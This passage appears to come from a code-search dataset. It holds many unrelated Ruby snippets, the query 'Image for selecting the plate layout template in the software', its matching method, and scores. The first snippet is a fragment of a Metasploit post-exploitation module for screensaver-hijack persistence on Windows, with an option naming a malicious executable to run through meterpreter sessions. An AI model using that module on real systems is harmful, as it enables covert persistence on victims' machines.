UNKNOWN_LICENSE,\n 'Author' =>\n [\n 'Module Author: r00t-3xp10it',\n 'Special Thanks: shanty damayanti',\n ],\n \n 'Version' => '$Revision: 1.4',\n 'DisclosureDate' => '11 02 2019',\n 'Platform' => 'windows',\n 'Arch' => 'x86_x64',\n 'Privileged' => 'false', # Thats no need for privilege escalation.\n 'Targets' =>\n [\n # Affected systems are.\n [ 'Windows 2008', 'Windows xp', 'windows vista', 'windows 7', 'windows 9', 'Windows 10' ]\n ],\n 'DefaultTarget' => '6', # Default its to run againts windows 10\n 'References' =>\n [\n [ 'URL', 'https://attack.mitre.org/techniques/T1180/' ],\n [ 'URL', 'https://github.com/r00t-3xp10it/msf-auxiliarys' ],\n [ 'URL', 'https://ired.team/offensive-security/t1180-screensaver-hijack' ],\n [ 'URL', 'https://www.howtogeek.com/225305/how-to-find-and-set-screen-savers-on-windows-10/' ]\n\n\n ],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n 'LOOT_FOLDER' => '/root/.msf4/loot', # Default logs storage directory\n 'APPL_PATH' => '%windir%\\\\System32\\\\calc.exe', # Default PE/appl (payload) to run (test)\n\t\t\t\t},\n 'SessionTypes' => [ 'meterpreter' ]\n \n ))\n \n register_options(\n [\n OptString.new('SESSION', [ true, 'The session number to run this module on', 1]),\n OptString.new('TIME_OUT', [ true, 'Set inactivity timeout before screensaver runs', 10]),\n OptString.new('APPL_PATH', [ true, 'Set absoluct path of malicious PE/Appl to run'])\n ], self.class)\n\n register_advanced_options(\n [\n OptBool.new('LOG_OFF', [ false, 'Logoff current user to force registry refresh?', false]),\n OptString.new('LOOT_FOLDER', [ true, 'Set the absoluct path where to store revert.rc (local)'])\n ], self.class)\n\n end", "def image(file)\n # done writing\n @handle.close\n\n # now write outer file\n kernel = tempfile '-krn-'\n\n mod = false\n IO.foreach(\"#{GAS}/common/kernel.s\") do |line|\n if line =~ /^(\\s+\\.include)\\s+\"kernel.inc\"\\s*/\n # substitute generated kernel for default\n dot_inc = $1\n kernel.puts \"#{dot_inc} \\\"#{@handle.path}\\\"\"\n mod = true\n elsif line =~ /^(\\s+\\.include)\\s+\"pre.inc\"\\s*/\n # add headless before pre.inc\n dot_inc = $1\n if @headless\n kernel.puts \"#{dot_inc} \\\"headless.inc\\\"\"\n end\n kernel.puts line\n elsif line !~ /^\\s*\\.end/\n kernel.puts line\n end\n end\n @vardef.each do |vardef|\n kernel.puts \"#{Indent}.ifndef #{vardef}\"\n kernel.puts \"#{Indent}.set #{vardef}, 0\"\n kernel.puts \"#{Indent}.endif\"\n end\n kernel.puts \"#{Indent}.end\"\n kernel.close\n\n raise \"did not expect kernel.inc in kernel.s\" if !mod\n\n obj = tempfile '-obj-'\n obj.close\n listing = tempfile '-lst-'\n listing.close\n\n inc = \"-I#{GAS} -I#{GAS}/common -I#{MACH}/common -I#{MACH}/#{@submodel} -I#{ROOT}/include\"\n\n as = \"#{@as} -aldm=#{listing.path} -g #{inc} -o #{obj.path} #{kernel.path}\"\n run(as)\n\n ld = \"#{@ld} -g --oformat mmo -o #{file} #{obj.path}\"\n run(ld)\n\n end", "def display_header\n self.design.directory_name + ' - ' +\n self.design.board.platform.name + ' / ' + self.design.board.project.name\n end", "def S(args)\n puts \"\\n=>\\n\"\n @image.show\n end", "def image(path,options={})\n set RGhost::Image.for(path,options)\n end", "def new\n @project = Project.new\n @project.build_image\n end", "def create_structure\n if File.exists?(\"features\") && File.directory?(\"features\")\n return\n else\n FileUtils.mkpath \"features/step_definitions\"\n FileUtils.mkdir \"features/support\"\n FileUtils.mkdir \"features/screenshots\"\n FileUtils.touch\"features/support/env.rb\"\n end\n \n\n end", "def master_contents\n @master = <<-MASTER\n blueprint:\n name: #{spec_bp_name}\n description: This is for testing purposes\n icon:\n file : test.png\n content : (--- base64 encoded ---)\n documentation : 'http://openstack.org/forj'\n locations:\n modules:\n - src-repo: redstone\n git: https://review.forj.io/p/forj-oss/redstone\n puppet-apply: install\n - src-repo: config\n git: https://review.forj.io/p/oo-infra/config\n puppet-extra-modules: /opt/config/production/git/config/modules\n MASTER\n @master\n end", "def install\n system \"./build.sh\"\n bin.install \"./bin/pngwolf\"\n end", "def set_content\n version = build_config.version || 'latest'\n content = \"FROM #{build_config.image}:#{version}\\r\\n\"\\\n \"RUN apt-get update\\r\\n\"\\\n \"RUN apt-get install git -y\\r\\n\"\\\n \"RUN mkdir -p /app/current\\r\\n\"\\\n \"WORKDIR /app/current\\r\\n\"\\\n \"RUN touch /#{commit} \\r\\n\"\\\n \"RUN git clone #{project.repository.url} /app/current\\r\\n\"\n content\n end", "def setup\n \n size 640, 360\n \nend", "def install_software_image(opts)\n opts = check_params(opts,[:install_volume,:product,:version,:build])\n super(opts)\n end", "def prepare\n puts \"Preparing #{@date.to_s}\"\n @graphic = ImageList.new\n \n #set background color\n bg_color = @color_scheme['main']\n @graphic.new_image(@calendar.width, @calendar.height) { self.background_color = bg_color }\n \n #add cloud background\n cloud = @graphic.read('cloud.png')\n \n #add daily tasks\n everyday_tasks\n dot\n weekly_task\n dot\n todos\n dot\n \n #add the date at the top\n date_header\n dot\n \n #add the special event\n special_event\n dot\n end", "def startup(workdir)\n validate_platform\n select_target\n setup\n get_remote_workdir\n end", "def create_workspace_and_options_tabs()\n new_notebook = Wx::Notebook.new(self)\n\n @ws_tab = Wx::Panel.new(new_notebook) # Add workspace tab\n @ws_mvsizer = Wx::BoxSizer.new(Wx::VERTICAL)\n @ws_tab.set_sizer(@ws_mvsizer)\n\n @options_tab = Wx::Panel.new(new_notebook) # Add options tab\n @options_mvsizer = Wx::BoxSizer.new(Wx::VERTICAL)\n @options_tab.set_sizer(@options_mvsizer)\n\n\n new_notebook.add_page(@ws_tab , \"Workspace\")\n new_notebook.add_page(@options_tab , \"Options\")\n evt_notebook_page_changing(new_notebook.get_id()) {|event| on_changing_page(event) }\n end", "def generate_wd_images rname=nil\n return {} unless rname\n \n start_time = Time.now\n \n @selected_room_name = rname\n @room_name = @selected_room_name.gsub('#', '_')\n # rinfo \"Starting Image generation : %s\"%(@selected_room_name)\n\n #Pre Operation things\n exception_raised = false\n #-----------Get previous stuffs--------------------------\n curr_active_layer = Sketchup.active_model.active_layer\n edge_render_option = Sketchup.active_model.rendering_options[\"EdgeColorMode\"]\n active_camera = Sketchup.active_model.active_view.camera\n cam_perspective = Sketchup.active_model.active_view.camera.perspective?\n unit_display = Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]\n\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=true\n Sketchup.active_model.active_view.camera.perspective=false\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = 0\n \n begin\n # puts \"--------------------------hide\"\n Sketchup::active_model::start_operation \"RIO Image Generation\"\n DP::hide_all_entities\n\n view_details_h = get_floor_view_comps\n \n view_details_h[\"top_view\"] = {:top_room_image => get_top_room_image}\n rescue Exception => e\n # rerror \"Exception raised during image generation\"\n raise e\n Sketchup.active_model.abort_operation\n exception_raised = true\n ensure\n DP::unhide_all_entities\n\n Sketchup.active_model.rendering_options[\"EdgeColorMode\"] = edge_render_option\n Sketchup.active_model.options[\"UnitsOptions\"][\"SuppressUnitsDisplay\"]=unit_display\n Sketchup.active_model.active_view.camera=active_camera\n Sketchup.active_model.active_view.camera.perspective=cam_perspective\n Sketchup.active_model.active_view.zoom_extents\n Sketchup.active_model.commit_operation\n end\n\n end_time = Time.now\n # puts \"Time taken : #{end_time - start_time}\"\n result = exception_raised ? {} : view_details_h\n end", "def initialize\n @desktop_image = \"/tmp/wallpaper.gif\"\n end", "def make_installer\n gtkv = APP['GTK']== 'gtk+-3.0' ? '3' : '2'\n arch = 'armhf'\n appname = \"#{APP['name'].downcase}\"\n rlname = \"#{appname}-#{APP['VERSION']}-gtk#{gtkv}-#{arch}\"\n #puts \"Creating Pkg for #{rlname}\"\n rm_r \"pkg/#{rlname}\" if File.exists? \"pkg/#{rlname}\"\n cp_r \"VERSION.txt\", \"#{TGT_DIR}\"\n mkdir_p \"pkg/#{rlname}\"\n sh \"cp -r #{TGT_DIR}/* pkg/#{rlname}\"\n Dir.chdir \"pkg/#{rlname}\" do\n make_desktop \n make_uninstall_script\n make_install_script\n make_smaller unless ENV['GDB']\n end\n Dir.chdir \"pkg\" do\n puts `pwd`\n sh \"makeself #{rlname} #{rlname}.install #{appname} \\\n./shoes-install.sh \"\n end\n end", "def defaults\n @width ||= 800\n @height ||= 600\n @panel_pos ||= 360\n @notebook_panel_position ||= 400\n @run_command_line ||= \"ruby main.rb\"\n @open_files ||= []\n @open_folders ||= []\n @current_file ||= \"\"\n @current_line ||= 1\n @rdoc_command_line ||= \"rdoc -x README\"\n end", "def set_windows\n set_title \"R-Bloggyn::#{@usuario.alias}\" #nombre de la ventana\n set_default_size 640, 480 #tamaño de la ventana\n set_skip_taskbar_hint true\n set_window_position Gtk::Window::POS_CENTER #posicion de la ventana\n self.set_attributes\n add @hbox\n show_all #muestra todo\n end", "def install\n copy_envrc\n copy_database_yml\n copy_docker_db_setup_sh\n system(`direnv allow`)\n print(\"#{readme}\\n\")\n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def project; end", "def add_windows_jumpbox name\n virtual_machine name+'jbx' do\n public_ipaddress name\n image Azure::ARM::Compute::VirtualMachine::WINDOWS_SERVER_2012_R2_DATACENTER\n end\n end", "def SetInitialInstallation\n SetXENExceptions()\n\n Builtins.y2milestone(\"Adjusting language settings\")\n\n # properly set up initial language\n Installation.encoding = Console.SelectFont(Language.language)\n if Ops.get_boolean(UI.GetDisplayInfo, \"HasFullUtf8Support\", true)\n Installation.encoding = \"UTF-8\"\n end\n\n UI.SetLanguage(Language.language, Installation.encoding)\n WFM.SetLanguage(Language.language, \"UTF-8\")\n UI.RecordMacro(Ops.add(Directory.logdir, \"/macro_inst_initial.ycp\"))\n\n Builtins.y2milestone(\"Adjusting first stage modules\")\n\n show_addons = ProductFeatures.GetBooleanFeature(\"globals\", \"show_addons\")\n addons_default = ProductFeatures.GetBooleanFeature(\n \"globals\",\n \"addons_default\"\n )\n # default fallback\n show_addons = true if show_addons == nil\n addons_default = false if addons_default == nil\n\n Builtins.y2milestone(\n \"Control file definition for add-on, visible: %1, selected: %2\",\n show_addons,\n addons_default\n )\n if show_addons\n ProductControl.DisableModule(\"add-on\")\n else\n ProductControl.EnableModule(\"add-on\")\n end\n Installation.add_on_selected = addons_default\n\n show_online_repositories = ProductFeatures.GetBooleanFeature(\n \"globals\",\n \"show_online_repositories\"\n )\n online_repositories_default = ProductFeatures.GetBooleanFeature(\n \"globals\",\n \"online_repositories_default\"\n )\n # default fallback\n show_online_repositories = false if show_online_repositories == nil\n online_repositories_default = true if online_repositories_default == nil\n\n Builtins.y2milestone(\n \"Control file definition for productsources, visible: %1, selected: %2\",\n show_online_repositories,\n online_repositories_default\n )\n if show_online_repositories\n ProductControl.EnableModule(\"productsources\")\n else\n ProductControl.DisableModule(\"productsources\")\n end\n Installation.productsources_selected = online_repositories_default\n\n Builtins.y2milestone(\"Disabling second stage modules\")\n # First-stage users module will enable them again only if needed\n ProductControl.DisableModule(\"root\")\n ProductControl.DisableModule(\"user\")\n # bnc #401319\n ProductControl.DisableModule(\"user_non_interactive\")\n ProductControl.DisableModule(\"auth\")\n\n Builtins.y2milestone(\"Adjusting automatic configuration\")\n # FATE #303396, Make second stage non-interactive\n enable_autoconfiguration = ProductFeatures.GetBooleanFeature(\n \"globals\",\n \"enable_autoconfiguration\"\n )\n autoconfiguration_default = ProductFeatures.GetBooleanFeature(\n \"globals\",\n \"autoconfiguration_default\"\n )\n\n # bnc#679435: leave normal second stage for autoYaST\n if Mode.autoinst\n enable_autoconfiguration = false\n autoconfiguration_default = false\n end\n\n # Enabled only when AC is selected\n InstData.enable_autoconfiguration = enable_autoconfiguration == true\n # Default state\n ProductControl.SetUseAutomaticConfiguration(\n autoconfiguration_default == true\n )\n # Enables or disables some modules, etc.\n AdjustAutomaticConfiguration()\n\n nil\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/bash ./#{SETUP_ENV_SCRIPT}\"\n end", "def create_components\n model = Sketchup.active_model\n definitions = model.definitions\n\n coworker_safe = definitions.load File.join(@libPath, \"CWorker-Safe.skp\")\n UI.messagebox coworker_safe.name\n end", "def config_ist_banner()\n FileUtils.cp(\"#{UcbDeployer::RESOURCES_DIR}/ist_banner.jpg\",\n \"#{self.build_dir()}/src/webapp/images/\")\n end", "def install\n bin.install \"bing-wallpaper.sh\" => \"bing-wallpaper\"\n prefix.install_metafiles\n end", "def make_installer\n gtkv = ENV['GTK']== 'gtk+-3.0' ? '3' : '2'\n arch = 'armhf'\n rlname = \"#{PKG}#{TINYVER}-gtk#{gtkv}-#{arch}\"\n puts \"Creating Pkg for #{rlname}\"\n rm_r \"pkg/#{rlname}\" if File.exists? \"pkg/#{rlname}\"\n mkdir_p \"pkg/#{rlname}\"\n sh \"cp -r #{TGT_DIR}/* pkg/#{rlname}\"\n cdir = `pwd`\n cd \"pkg/#{rlname}\"\n make_desktop \n make_install_script\n make_smaller unless ENV['GDB']\n cd \"../\"\n sh \"makeself #{rlname} #{rlname}.install '#{APPNAME}' \\\n./shoes-install.sh \"\n end", "def use_spectrophotometer\n show do\n title \"Prepare Spectrophotometer\"\n \n note \"On the Spectrophotometer laptop, if the program isn't open, click on nanodrop 2000.\"\n image NANODROP_2000\n note \"Click on Cell Cultures.\"\n note \"Click on 'no' when prompted to load last workbook and append new data to it.\"\n note \"Click ok.\"\n end\n end", "def logo=(_arg0); end", "def create\r\n @icons_app.each do |k,v|\r\n v.create\r\n end\r\n # local variables\r\n \r\n refresh_settings\r\n \r\n #splitter position\r\n gfxgui_settings = @app_settings['guigfx']\r\n \r\n # window size\r\n ww = gfxgui_settings[:ww_mainwin]\r\n hh = gfxgui_settings[:hh_mainwin]\r\n \r\n # continue to insert item into giochi menu\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"Opzioni\").connect(SEL_COMMAND, method(:mnu_cuperativa_options))\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"&Esci\").connect(SEL_COMMAND, method(:onCmdQuit))\r\n \r\n # Reposition window to specified x, y, w and h\r\n position(0, 0, ww, hh)\r\n \r\n # Create the main window and canvas\r\n super \r\n # Show the main window\r\n show(PLACEMENT_SCREEN)\r\n \r\n # default game or last selected\r\n game_type = @app_settings[\"curr_game\"]\r\n #p @supported_game_map\r\n # initialize only an enabled game. An enabled game is a supported game.\r\n # Game disabled are not in the @supported_game_map. This to avoid to build poperties and\r\n # custom widgets\r\n if @supported_game_map[game_type]\r\n if @supported_game_map[game_type][:enabled]\r\n initialize_current_gfx(game_type)\r\n end\r\n else\r\n # default game is not supported, initialize the first enable game\r\n @log.debug(\"Default game not enabled, look for the first enabled one\")\r\n @supported_game_map.each do |k, game_info_h|\r\n game_type = k\r\n if game_info_h[:enabled]\r\n initialize_current_gfx(game_type)\r\n break\r\n end\r\n end\r\n end\r\n log_sometext(\"Benvenuta/o nella Cuperativa versione #{VER_PRG_STR}\\n\")\r\n @log.info(\"TheApp Create OK\") \r\n end", "def fedora_name\n 'image_file'\n end", "def setup\n\n setup_path\n save_application_details\n add_jvm_args\n rename_server_instance\n\n \"/bin/sh ./#{SETUP_ENV_SCRIPT}\"\n end", "def dump_show_img\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show_image_desk')}/*\"))\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show_image_mob')}/*\"))\n FileUtils.rm_rf(Dir.glob(\"#{project.image_for('', 'show')}/*\"))\n end", "def setup\n # Create a standard project (30 days)\n @Project1 = Project.new(Date.new(2000, 1, 1), Date.new(2000, 1, 10))\n # Create a standard calendar (30 days, 1 hour per day)\n @Calendar1 = {}\n 10.times do |iIdx|\n @Calendar1[Date.new(2000, 1, iIdx+1)] = 1\n end\n # Create standard resources\n @Resource1 = Resource.new('R1', @Calendar1)\n end", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && make\")\nend", "def setup\n\t\ttext_font create_font(\"SanSerif\",10);\n\t\tscreen = [1920,1040] #JackRabbit\n\t\t# product[1920,1040] = 1996800\n\n\t\t# screen = [1500,900] #HOME\n\t\t# product[1500,900] = 1350000\n\n\t\t@it = 0\n\n\t\tsize(*screen)\n\t\t@w,@h = screen.map{|d| d/2}\n\t\t@i, @t = [0] * 2 ; background(0)\n\t\t@colors = (0..3).map{|i|rand(255)}\n\t\tframe_rate 2.5 ; colorMode(HSB,360,100,100)\n\t\tno_fill() ; no_stroke ; @xy = [0,0]\n\t\t\t\n\t\tcl = VERTS.map{|c| rand(30) }\n\t\t@cc = VERTS.map{|r| [(20 + rand(@w)) * 1.9,\n\t\t\t\t\t\t\t\t\t\t\t\t (20 + rand(@h)) * 1.9] }.zip(cl)\n\tend", "def setup\n switch_dir\n end", "def main\n # force close gedit process if open\n system('killall', 'gedit')\n \n # ***** uncomment the line below to install soothing fonts *****\n # system('sudo apt-get install ttf-bitstream-vera ttf-dejavu ttf-dejavu ttf-dejavu-core ttf-dejavu-extra ttf-liberation')\n \n # copy mime files\n FileUtils.cp_r('mime/.','usr/share/mime/packages')\n FileUtils.chmod_R(0644, '/usr/share/mime/packages/*.xml')\n system('update-mime-database', '/usr/share/mime')\n \n # copy language files\n print \"copying language files...\"\n FileUtils.cp_r('languages/.', '/usr/share/gtksourceview-2.0/language-specs/')\n system('sudo chmod 644', '/usr/share/gtksourceview-2.0/language-specs/*.lang')\n print \"done.\\n\"\n \n # copy theme files\n print \"copying theme files...\"\n FileUtils.cp_r('themes/.', '/usr/share/gtksourceview-2.0/styles')\n system('sudo chmod 644', '/usr/share/gtksourceview-2.0/styles/*.xml')\n print \"done.\\n\"\n \n # specify folders \n gedit_dir = \"#{ENV['HOME']}/.gnome2/gedit\"\n snippets_dir = \"#{gedit_dir}/snippets\"\n plugins_dir = \"#{gedit_dir}/plugins\"\n\n # create necessary folders for plugins and snippets if they don't exists\n FileUtils.mkdir_p(snippets_dir) unless File.directory?(snippets_dir)\n FileUtils.mkdir_p(plugins_dir) unless File.directory?(plugins_dir)\n \n # copy snippets and plugins\n print \"copying snippets and plugins...\"\n FileUtils.cp_r('snippets/.', snippets_dir)\n FileUtils.cp_r('plugins/.', plugins_dir)\n print \"done.\\n\"\n \n # give proper permissions to these files (otherwise gedit wont read them)\n system('sudo -R chmod 644', snippets_dir)\n system('sudo -R chmod +x', plugins_dir)\n \n puts \"power-gedit setup complete - enjoy!\"\n \nend", "def setup\n size(640, 360)\n background(102)\nend", "def show_image_version\n if @options[\"mode\"] == \"himage\"\n tpl = @himage_tpl\n elsif @options[\"mode\"] == \"vimage\"\n tpl = @vimage_tpl\n else \n raise \"invalid template name\" + @options[\"mode\"]\n end\n calc_weather_icon\n calc_wind_icon\n parse_radar unless @options[\"radar_location\"].empty?\n erb = ERB.new(File.read(tpl), 0, '>')\n @conky_output = erb.result(binding)\n puts @conky_output\n end", "def smallworld_image(*args, &block)\n Smallworld::Image.define_smallworld_image(*args, &block)\nend", "def use_technology_preview; end", "def config_showAndsave\n\t SD::CI.show\n\t if (SD::CI.output)\n\t fname = SD::CI.output('junk.ini')\n\t SD::CI.save(fname)\n\t end \t \n\tend", "def project_filename; end", "def create\n Dir.mkdir dir\n File.symlink Hoboku.project_dir, File.join(dir, 'src')\n vm.write_vagrantfile\n vm.start\n end", "def platform_icon(software, size=17)\n img = case software.platform.to_s\n when /windows/i\n \"icons/windows_#{size}.png\"\n when /mac/i\n \"icons/mac_#{size}.png\"\n when /linux/i\n \"icons/tux_#{size}.png\"\n when /ios/i\n \"icons/iOS_#{size}.png\"\n when /android/i\n \"icons/android_#{size}.png\"\n else\n \"icons/download_#{size}.png\"\n end\n image_tag img, style: \"vertical-align: middle\", alt: \"platform icon\"\n\tend", "def icon action = 'ruby'\n loader = @main.get_class.get_class_loader\n stream = loader.get_resource_as_stream(\"/com/moneydance/modules/features/ruby/#{action}.gif\")\n bytes = stream.to_io.read.to_java_bytes\n java.awt.Toolkit.default_toolkit.create_image(bytes)\n end", "def create_dd_image(drive_path, image_output_location)\n ## Make DD image\n @colour.notify \"Creating dd image with path #{image_output_location}.raw\"\n @colour.notify 'This may take a while:'\n @colour.notify \"Raw image #{image_output_location}.raw created\" if system \"aBoxManage clonemedium disk '#{drive_path}' '#{image_output_location}.raw' --format RAW\"\nend", "def build_mod_files!\n apply_simple_terrain_map_mod!\n create_mod_descriptor!(\n name: \"A Simple Terrain Map Mode for Kaiserreich\",\n path: \"mod/#{mod_name}\",\n supported_version: \"1.6.*\",\n picture: \"a_simple_terrain_map_mode_kr.png\",\n )\n end", "def init\n FileUtils.mkdir_p home\n FileUtils.mkdir_p home(\"templates\")\n FileUtils.touch home(\"config.yml\")\n end", "def install\n \n end", "def create_default\n # Default values\n self.site_title = I18n.t 'websites.default.home_title'\n self.home_title = I18n.t 'websites.default.home_title'\n self.home_icon = I18n.t 'websites.default.home_icon'\n self.top_title = I18n.t 'websites.default.top_title'\n self.top_intro = I18n.t 'websites.default.top_intro'\n self.bottom_title = I18n.t 'websites.default.bottom_title'\n self.bottom_intro = I18n.t 'websites.default.bottom_intro'\n self.featured_title = I18n.t 'websites.default.featured_title'\n self.markdown = I18n.t 'websites.default.markdown'\n self.show_featured = true\n self.show_markdown = true\n # Create components\n modules = Rails.configuration.scribae['modules']\n modules.each_with_index do |comp_name, index|\n component = Component.new do |comp| \n comp.name = comp_name\n comp.icon_color = \"#6268c0\"\n comp.pos = index + 1\n comp.show = I18n.t \"websites.default.components.#{comp_name}.show\"\n comp.icon = I18n.t \"websites.default.components.#{comp_name}.icon\"\n comp.title = I18n.t \"websites.default.components.#{comp_name}.title\"\n comp.intro = I18n.t \"websites.default.components.#{comp_name}.intro\"\n end\n self.components << component\n end\n # Create preview and gitconfig\n parameterized = self.name.parameterize\n self.preview = Preview.new do |preview|\n preview.prototype = \"default\"\n preview.name = parameterized\n preview.process = 0\n preview.status = 0\n end\n self.gitconfig = Gitconfig.new do |git|\n git.base_url = parameterized\n git.initialized = false\n git.repo_link = \"\"\n git.website_link = \"\"\n end\n # Background images\n bg_file = File.open(Rails.root.join('app', 'assets', 'images', 'parallax.jpg'))\n ['top', 'bottom'].each do |name|\n image = Image.new do |img|\n img.name = name\n img.category = 'bg'\n img.upload = bg_file\n end \n self.images << image\n end\n # Style\n self.style = Style.new do |style|\n style.helper = \"\"\n style.navbar = \"#ffffff\"\n style.primary = \"#ffffff\"\n style.secondary = \"#000000\"\n style.background = \"#ffffff\"\n style.icon = \"#000000\"\n style.text = \"#000000\"\n style.decoration = \"#ffffff\"\n end\n end", "def bootstrap\n puts \"Creating folder for project at #{folder}\"\n mkdir_p folder\n default_attributes\n save\n end", "def default_image\n if instance.platform.name =~ /^(.*)-([^-]*)$/\n \"#{$1}:#{$2}\"\n else\n instance.platform.name\n end\n end", "def scratch_build\n begin\n distgit_pkg.build\n rescue => e\n puts \"Warning: scratch build failed: #{e}\".bold.red\n end\n end", "def scratch_build\n begin\n distgit_pkg.build\n rescue => e\n puts \"Warning: scratch build failed: #{e}\".bold.red\n end\n end", "def content\n return <<-EOF\ndefault lucie\n\nlabel lucie\nkernel #{ INSTALLER_KERNEL }\nappend initrd=#{ initrd } ip=dhcp devfs=nomount root=/dev/nfs nfsroot=#{ @nfsroot } boot=live hostname=#{ @node.name } #{ $KERNEL_OPTIONS }\nEOF\n end", "def workspace_params\n params.require(:workspace).permit(:name, :about, :logo)\n end", "def setup\n java.lang.System.setProperty(\"vbox.home\", Travis::Worker.config.vms.vbox_home)\n\n require 'vboxjxpcom.jar'\n\n java_import 'org.virtualbox_4_1.VirtualBoxManager'\n java_import 'org.virtualbox_4_1.VBoxEventType'\n java_import 'org.virtualbox_4_1.LockType'\n java_import 'org.virtualbox_4_1.MachineState'\n java_import 'org.virtualbox_4_1.IMachineStateChangedEvent'\n java_import 'org.virtualbox_4_1.DeviceType'\n java_import 'org.virtualbox_4_1.AccessMode'\n java_import 'org.virtualbox_4_1.MediumType'\n java_import 'org.virtualbox_4_1.SessionState'\n end", "def open_software_image\n image_path(image_name: params[:open_software_image])\n end", "def create_workspace\n @workspace = Dir.mktmpdir.chomp\n end" ]
[ "0.62298185", "0.59079564", "0.5849817", "0.5832239", "0.5625588", "0.5610854", "0.5549253", "0.5538865", "0.5517123", "0.54581565", "0.54345095", "0.5427078", "0.5419188", "0.5403232", "0.5342143", "0.53417796", "0.531983", "0.5312845", "0.53070337", "0.53043455", "0.5285931", "0.52808595", "0.527715", "0.527715", "0.52615404", "0.52577394", "0.5251062", "0.52445227", "0.52121395", "0.5208447", "0.51997757", "0.51928425", "0.518815", "0.5187746", "0.51868415", "0.5182982", "0.51812553", "0.5179737", "0.51698834", "0.5167461", "0.5164298", "0.51561177", "0.5151174", "0.51485497", "0.514162", "0.5133181", "0.5128762", "0.51265013", "0.51154906", "0.5113551", "0.50913584", "0.5083145", "0.50788474", "0.50760484", "0.5073259", "0.50662035", "0.50580627", "0.50564694", "0.5048946", "0.5046227", "0.50454134", "0.5039866", "0.5035946", "0.5035721", "0.5031664", "0.50252724", "0.5018693", "0.5016912", "0.5012904", "0.50074357", "0.50018644", "0.5001433", "0.5001077", "0.4998592", "0.49935848", "0.4991793", "0.4988845", "0.49839565", "0.49779543", "0.49749827", "0.49741995", "0.49640822", "0.49628207", "0.49624336", "0.4960847", "0.4949197", "0.49422938", "0.49283817", "0.49210554", "0.491629", "0.49150676", "0.491361", "0.49071556", "0.4905838", "0.4905838", "0.49055046", "0.49014336", "0.4900902", "0.48975027", "0.48867303" ]
0.67364115
0
Image for selecting the plate layout template in the software
def setup_plate_layout_image image_path(image_name: params[:setup_plate_layout_image]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rit_plate!(layout_name, instance_name, plate_name)\n Rit::Plate.get(layout_name, instance_name, plate_name, session[:preview_time])\n end", "def display_plate(outname, ops, stamp_columns=false)\n plate = Array.new(8) { Array.new(12, \"-\") }\n if stamp_columns\n ops.each do |op|\n col = op.output(outname).column\n background = BACKGROUND_COLORS[col]\n content = \"#{(\"A\".ord.to_i).chr}#{col+1}\"\n plate[0][col] = {content: content, style: {background: background} }\n (1..stamp_columns - 1).each do |row|\n plate[row][col] = { content: \" \", style: { background: background } }\n end\n end\n else\n ops.each do |op|\n row = op.output(outname).row\n col = op.output(outname).column\n plate[row][col] = {content: \"#{(row + \"A\".ord.to_i).chr}#{col+1}\", style: {background: BACKGROUND_COLORS[0] } }\n end\n end\n\n return plate\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n RitClient::Plate.get(layout_name, instance_name, plate_name, nil) # session[:preview_time]\n end", "def provision_plates(operations:, object_type:)\n operations.each do |op|\n collection = make_new_plate(object_type, label_plate: true)\n op.output(PLATE).set(collection: collection)\n\n set_parts(\n collection: collection,\n group_size: op.temporary[:options][:group_size],\n method: op.temporary[:options][:layout_method],\n sample: op.output(PLATE).sample\n )\n\n inspect op.output(PLATE).collection.matrix if debug\n end\n end", "def element_template(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('photo', app) \n photo_template = renderer.render('view', 'em')\n \n end", "def parafilm_plates\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || !op.temporary[:valid_params?] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm}\"\n check \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n check \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def determine_layout\r\n #\"earthlingtwo/earthlingtwo\"\r\n \"#{template_name}/#{template_name}\"\r\n end", "def imagined_layout\n 1.upto(9).to_a.join\n end", "def modelo_guia_sindical_empresa_template(doc, _boleto, template_path)\n doc.define_template(:template, template_path, x: '0.3 cm', y: '0 cm')\n doc.use_template :template\n\n doc.define_tags do\n tag :grande, size: 13\n tag :media, size: 11\n tag :pequena, size: 7\n end\n end", "def modelo_guia_sindical_empresa_template(doc, _boleto, template_path)\n doc.define_template(:template, template_path, x: '0.3 cm', y: '0 cm')\n doc.use_template :template\n\n doc.define_tags do\n tag :grande, size: 13\n tag :media, size: 11\n tag :pequena, size: 7\n end\n end", "def label_plate(plate, group)\n labels = []\n mod_title = @model.title\n\n container = group.entities.add_group\n\n plname = plate.definition.name\n var = mod_title + '-' + plname\n text = container.entities.add_3d_text(var, TextAlignLeft, '1CamBam_Stick_7', false, false, 0.675, 0.0, -0.01, false, 0.0)\n\n align = Geom::Transformation.axes([plate.bounds.center[0], (plate.bounds.center[1] - (plate.bounds.height / 2)), plate.bounds.center[2]], X_AXIS, Z_AXIS, Y_AXIS )\n vr = X_AXIS.reverse\n vr.length = (container.bounds.width/2)\n shift = Geom::Transformation.translation(vr)\n container.move! align\n @entities.transform_entities shift, container\n return container\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = 